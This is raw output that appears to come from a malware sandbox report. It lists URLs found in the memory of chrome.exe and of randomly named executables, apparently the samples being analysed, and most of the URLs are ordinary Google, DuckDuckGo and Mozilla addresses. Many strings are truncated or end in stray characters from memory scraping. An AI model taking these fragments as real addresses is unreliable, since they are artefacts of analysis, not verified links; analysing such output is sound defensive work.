Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000024.00000002.3107091108.0000581800B85000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102685009.000058180061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: 3907f97605.exe, 0000001F.00000003.2976959574.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 3907f97605.exe, 0000001F.00000003.3006443988.0000000005A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 779ae05f2f.exe, 00000007.00000003.2487645168.0000000007452000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000024.00000002.3101260857.00005818002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions7
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107624845.0000581800C7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107624845.0000581800C7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000024.00000002.3101260857.00005818002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000024.00000002.3101260857.00005818002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000024.00000002.3101618695.0000581800384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlP8
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000024.00000003.2996703135.0000581800488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000024.00000003.3040322237.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035226903.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101518675.0000581800358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104057220.0000581800790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000024.00000002.3104057220.0000581800790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtaba
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: 3907f97605.exe, 0000001F.00000003.2881129128.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2880484236.0000000005A7F000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3366143322.00000000055BF000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 00000028.00000003.3370186873.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000024.00000002.3107521338.0000581800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hjh%
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000024.00000003.2875198001.0000256800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000024.00000002.3100005569.0000581800064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000024.00000002.3102647848.000058180060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: 3907f97605.exe, 0000001F.00000003.3006443988.0000000005A58000.00000004.00000800.00020000.00000000.sdmp, 3907f97605.exe, 0000001F.00000003.2976959574.0000000005A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000024.00000003.3035553827.000058180075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107423707.0000581800C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000024.00000002.3104255542.00005818007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102059143.00005818004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107661873.0000581800C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000024.00000002.3097376240.0000256800237000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098641834.0000256800770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3104362093.000058180080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000024.00000002.3097376240.0000256800237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard%h$
Source: chrome.exe, 00000024.00000002.3098641834.0000256800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard%hwZ
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000024.00000002.3098641834.0000256800770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000024.00000003.3043024193.000058180120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042923182.0000581801140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000024.00000003.3043024193.000058180120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042923182.0000581801140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3042603680.0000581800310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000024.00000003.2845703902.0000256800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3098928055.000025680080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000024.00000003.2939815779.00002568006E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000024.00000003.2845948552.000025680039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000024.00000002.3098729032.000025680078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000024.00000002.3098571085.0000256800744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000024.00000002.3101654659.0000581800398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000024.00000003.3040322237.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103378526.00005818006B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.2997235456.00005818006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3035226903.0000581800358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101518675.0000581800358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000024.00000002.3102221646.00005818004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103895107.0000581800738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109011563.0000581800EFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000024.00000002.3104136427.00005818007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101585964.0000581800374000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000024.00000002.3104136427.00005818007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101585964.0000581800374000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000024.00000002.3103585240.00005818006B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneX
Source: chrome.exe, 00000024.00000002.3104136427.00005818007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3101585964.0000581800374000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3102685009.000058180061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000024.00000003.3040053844.0000581800FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106170589.000058180098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000003.3040626961.0000581800FB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106336063.00005818009D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000024.00000002.3100729464.00005818001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000024.00000002.3100847206.000058180020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000024.00000002.3106948478.0000581800B04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3109472217.0000581801080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000024.00000002.3107387075.0000581800C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106809731.0000581800AC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107942774.0000581800D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000024.00000002.3107980508.0000581800D2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107387075.0000581800C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106809731.0000581800AC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000024.00000002.3107387075.0000581800C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3106809731.0000581800AC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000024.00000002.3107942774.0000581800D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
